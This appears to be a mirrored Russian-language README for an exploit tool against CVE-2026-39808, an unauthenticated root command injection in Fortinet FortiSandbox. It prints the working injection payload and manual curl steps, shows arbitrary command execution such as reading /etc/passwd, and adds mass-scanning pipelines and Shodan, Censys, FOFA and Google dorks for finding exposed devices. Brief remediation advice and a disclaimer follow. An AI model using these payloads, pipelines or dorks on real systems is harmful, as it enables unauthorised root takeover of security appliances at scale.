Sploitus

FortiSandbox-RCE-Exploit

kitploit · 2026-09-02

Exploit Code

MARKDOWN381 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-YNSMROZTAS-FORTISANDBOX-RCE-EXPLOIT-CVE-2026-39808
# FortiSandbox RCE Scanner — CVE-2026-39808

![CVE-2026-39808 FortiSandbox RCE](https://assets.kitploit.com/production/public/readmes/52826/a88350d27b1c34c144ed9c55cd4d6de780419ad0da3a1d056db45ec88c17f733/667a105a5707bd346bd51be06d3972ab7cbf4d3ddd263f69318fc51a7e9098a6-display-v1.webp)

![CVE-2026-39808](https://img.shields.io/badge/CVE-2026--39808-critical?style=for-the-badge&color=dc2626) ![CVSS 9.8](https://img.shields.io/badge/CVSS-9.8-critical?style=for-the-badge&color=dc2626) ![Python 3.7+](https://img.shields.io/badge/python-3.7+-blue?style=for-the-badge&logo=python&logoColor=white) ![No dependencies](https://img.shields.io/badge/dependencies-zero-brightgreen?style=for-the-badge) ![MIT License](https://img.shields.io/badge/license-MIT-green?style=for-the-badge)

**Неаутентифицированная инъекция OS-команд от имени root в Fortinet FortiSandbox**

Уязвимость • Установка • Использование • Принцип работы • Конвейер • Shodan Dorks • Отказ от ответственности

* * *

## Уязвимость

**CVE-2026-39808** — критическая неаутентифицированная уязвимость инъекции OS-команд в Fortinet FortiSandbox. Конечная точка API `/fortisandbox/job-detail/tracer-behavior` не выполняет санитизацию параметра `jid`, что позволяет атакующему внедрять произвольные OS-команды, выполняемые от имени **root** — без какой-либо аутентификации.

### Первопричина

Параметр `jid` в конечной точке tracer-behavior передаётся напрямую в системную команду без санитизации. Используя символы конвейера (`|`), атакующий может выйти за пределы предполагаемого контекста команды и выполнить произвольные команды:

root@kitploit:~
    
    
    GET /fortisandbox/job-detail/tracer-behavior?jid=|(id > /web/ng/out.txt)| HTTP/1.1
    

Вывод записывается в `/web/ng/out.txt`, который доступен по адресу `/ng/out.txt` на веб-сервере — что обеспечивает удобный механизм чтения результатов для слепой инъекции команд.

* * *

## Установка

Ноль зависимостей. Только стандартная библиотека Python 3.7+.

root@kitploit:~
    
    
    git clone https://github.com/ynsmroztas/FortiSandbox-RCE-Exploit-CVE-2026-39808
    cd FortiSandbox-RCE-Exploit-CVE-2026-39808
    chmod +x fortisandbox_rce.py
    

* * *

## Использование

### Базовое сканирование

root@kitploit:~
    
    
    # Проверить, уязвима ли цель (используется обнаружение на основе канареечной строки)
    python3 fortisandbox_rce.py -u https://fortisandbox.target.com
    

### Выполнение команды

root@kitploit:~
    
    
    # Выполнить конкретную команду на цели
    python3 fortisandbox_rce.py -u https://target.com --cmd "id"
    python3 fortisandbox_rce.py -u https://target.com --cmd "cat /etc/passwd"
    python3 fortisandbox_rce.py -u https://target.com --cmd "uname -a"
    

### Только проверка (без выполнения команд)

root@kitploit:~
    
    
    # Только проверить уязвимость, не выполнять --cmd
    python3 fortisandbox_rce.py -u https://target.com --verify-only
    

### С Burp Proxy

root@kitploit:~
    
    
    python3 fortisandbox_rce.py -u https://target.com --cmd "id" --proxy http://127.0.0.1:8080
    

### JSON-отчёт

root@kitploit:~
    
    
    python3 fortisandbox_rce.py -u https://target.com -o report.json
    

### Режим конвейера (массовое сканирование)

root@kitploit:~
    
    
    # Из списка URL
    cat targets.txt | python3 fortisandbox_rce.py --stdin --verify-only -o report.json
    
    # subfinder → httpx → сканер
    subfinder -d target.com -silent | httpx -silent | python3 fortisandbox_rce.py --stdin
    
    # Shodan → сканер
    shodan search 'title:"FortiSandbox"' --fields ip_str,port --separator : | \
      sed 's/^/https:\/\//' | httpx -silent | \
      python3 fortisandbox_rce.py --stdin --verify-only -o results.json
    

### Все параметры

root@kitploit:~
    
    
    usage: fortisandbox_rce.py [-h] [-u URL] [--stdin] [--cmd CMD] [--verify-only]
                               [--proxy PROXY] [--timeout TIMEOUT]
                               [--rate-limit RATE_LIMIT] [-o OUTPUT] [--no-banner]
    
    Options:
      -u, --url URL           Целевой URL
      --stdin                 Читать URL из stdin (режим конвейера)
      --cmd CMD               OS-команда для выполнения (по умолчанию: id)
      --verify-only           Только проверить уязвимость, не выполнять --cmd
      --proxy PROXY           HTTP-прокси (например, http://127.0.0.1:8080)
      --timeout TIMEOUT       HTTP-таймаут в секундах (по умолчанию: 15)
      --rate-limit RATE_LIMIT Задержка между целями в мс (по умолчанию: 0)
      -o, --output FILE       Файл JSON-отчёта
      --no-banner             Подавить баннер
    

* * *

## Принцип работы

Сканер использует **5-этапный процесс проверки** со строгим предотвращением ложных срабатываний:

root@kitploit:~
    
    
    Шаг 1  →  Обнаружение FortiSandbox (отпечаток по заголовку/заголовкам)
    Шаг 2  →  Проверка существования уязвимой конечной точки
    Шаг 3  →  Внедрение уникальной канареечной строки через инъекцию команд
    Шаг 4  →  Чтение /ng/out.txt и проверка канареечной строки (строгая валидация обычного текста)
    Шаг 5  →  Выполнение пользовательской команды + очистка
    

### Предотвращение ложных срабатываний

Сканер реализует несколько уровней валидации для устранения ложных срабатываний:

  * **Обнаружение HTML** — Если выходной URL возвращает HTML-страницу (catch-all Angular SPA), это помечается как ложное срабатывание
  * **Проверка Content-Type** — Вывод команды не должен быть `text/html`
  * **Изоляция канареечной строки** — Канареечная строка должна появляться в чистом обычном тексте, а не внутри HTML-тегов
  * **Регулярное выражение вывода`id`** — Строгое сопоставление шаблона `uid=\d+(\w+)` с проверкой размера (<1000 байт)
  * **Нормализация базового URL** — Автоматическое удаление суффикса `/ng` для предотвращения проблем с двойным путём



* * *

## Пример вывода

### Уязвимая цель

root@kitploit:~
    
    
      ╔══════════════════════════════════════════════════════════╗
      ║  FortiSandbox RCE Scanner v1.0  —  CVE-2026-39808      ║
      ║  Неаутентифицированная инъекция команд (root)          ║
      ╚══════════════════════════════════════════════════════════╝
      mitsec | @ynsmroztas
    
      ┌──────────────────────────────────────────────────────────┐
      │ Цель: https://fortisandbox.example.com                   │
      └──────────────────────────────────────────────────────────┘
      ✓ FortiSandbox обнаружен!
      ▸ Проверка конечной точки: /fortisandbox/job-detail/tracer-behavior
      ▸ Статус конечной точки: 200 | Content-Type: text/html
      ▸ Внедрение канареечной строки: mitsec_a8k3m2x1
      ▸ Чтение вывода: https://fortisandbox.example.com/ng/out.txt
       CRITICAL  🔥 УЯЗВИМ — CVE-2026-39808 ПОДТВЕРЖДЁН!
       CRITICAL  Цель: https://fortisandbox.example.com
      ✓ Канареечная строка 'mitsec_a8k3m2x1' подтверждена в выводе (чистый обычный текст)
    
      ──────────────────────────────────────────────────────────
        Вывод команды: id
      ──────────────────────────────────────────────────────────
      │ uid=0(root) gid=0(root) groups=0(root)
      ──────────────────────────────────────────────────────────
    
      ✓ Файл вывода очищен
    

### Не уязвимая

root@kitploit:~
    
    
      ┌──────────────────────────────────────────────────────────┐
      │ Цель: https://patched.example.com                        │
      └──────────────────────────────────────────────────────────┘
      ✓ FortiSandbox обнаружен!
      ▸ Проверка конечной точки: /fortisandbox/job-detail/tracer-behavior
      ✗ Конечная точка вернула 404 — не уязвима или исправлена
    

### Обработка ложного срабатывания

root@kitploit:~
    
    
      ▸ Чтение вывода: https://target.com/ng/out.txt
      ⚠ Выходной URL возвращает HTML-страницу — это Angular SPA, а НЕ вывод команды
      ▸ Content-Type: text/html
      ▸ Это ложное срабатывание — /ng/out.txt обслуживает index.html SPA
      ▸ Цель не выглядит уязвимой
    

* * *

## Формат JSON-отчёта

root@kitploit:~
    
    
    {
      "scanner": "fortisandbox_rce",
      "version": "1.0",
      "cve": "CVE-2026-39808",
      "scan_date": "2026-04-22T10:30:00+00:00",
      "total_targets": 5,
      "vulnerable": 1,
      "results": [
        {
          "target": "https://fortisandbox.example.com",
          "vulnerable": true,
          "details": {
            "is_fortisandbox": true,
            "server": "Apache",
            "canary": "mitsec_a8k3m2x1",
            "verification": "canary_match",
            "command": "id",
            "output": "uid=0(root) gid=0(root) groups=0(root)"
          },
          "timestamp": "2026-04-22T10:30:00+00:00"
        }
      ]
    }
    

* * *

## Интеграция в конвейер

Сканер выводит уязвимые URL в **stdout** (весь остальной вывод идёт в stderr), что делает его полностью совместимым с конвейерами:

root@kitploit:~
    
    
    # Найти уязвимые цели и сохранить
    subfinder -d corp.com -silent | httpx -silent | \
      python3 fortisandbox_rce.py --stdin --verify-only 2>/dev/null | \
      tee vulnerable_fortisandbox.txt
    
    # Объединить с nuclei для дальнейшего тестирования
    cat vulnerable_fortisandbox.txt | nuclei -t cves/
    
    # Тихий массовый скан с ограничением скорости
    cat shodan_results.txt | \
      python3 fortisandbox_rce.py --stdin --verify-only --rate-limit 1000 --no-banner -o report.json
    

* * *

## Shodan Dorks

root@kitploit:~
    
    
    title:"FortiSandbox"
    title:"FortiSandbox - Please login"
    http.html:"FortiSandbox" port:443
    "FortiSandbox" ssl:"Fortinet"
    http.favicon.hash:-1222072778
    

**Censys:**

root@kitploit:~
    
    
    services.http.response.html_title:"FortiSandbox"
    

**FOFA:**

root@kitploit:~
    
    
    title="FortiSandbox - Please login"
    title="FortiSandbox" && country="TR"
    

**Google Dork:**

root@kitploit:~
    
    
    intitle:"FortiSandbox - Please login"
    

* * *

## Ручная проверка

Если вы предпочитаете проверять вручную с помощью curl:

root@kitploit:~
    
    
    # Шаг 1: Внедрить команду
    curl -s -k --get "https://TARGET/fortisandbox/job-detail/tracer-behavior" \
      --data-urlencode "jid=|(id > /web/ng/out.txt)|"
    
    # Шаг 2: Прочитать вывод
    curl -s -k "https://TARGET/ng/out.txt"
    # Ожидаемый результат: uid=0(root) gid=0(root) groups=0(root)
    

* * *

## Устранение уязвимости

  * **Обновите** FortiSandbox до версии **4.4.9 или выше**
  * Если немедленное исправление невозможно: 
    * Ограничьте сетевой доступ к интерфейсу управления FortiSandbox
    * Используйте правила межсетевого экрана для блокировки внешнего доступа к конечным точкам `/fortisandbox/job-detail/`
    * Отслеживайте журналы на предмет подозрительных значений параметра `jid`, содержащих символы конвейера



* * *

## Хронология

Дата| Событие  
---|---  
Ноябрь 2025| Уязвимость обнаружена  
Апрель 2026| Опубликован CVE-2026-39808  
Апрель 2026| Исправлено в FortiSandbox 4.4.9  
  
* * *

## Ссылки

  * Консультация Fortinet PSIRT — FG-IR-25-325
  * CVE-2026-39808 — NVD



* * *

## Отказ от ответственности

Этот инструмент предоставляется **только для авторизованного тестирования безопасности и образовательных целей**. Несанкционированный доступ к компьютерным системам является незаконным. Всегда получайте надлежащее письменное разрешение перед тестированием. Автор не несёт ответственности за неправомерное использование этого инструмента.

* * *

## Автор

**mitsec** — @ynsmroztas

  * Портфолио: ynsmroztas.github.io
  * 100+ Hall of Fame | 2 430+ раскрытых уязвимостей | 1 100+ критических находок



* * *

Если этот инструмент помог вам, поставьте ему ⭐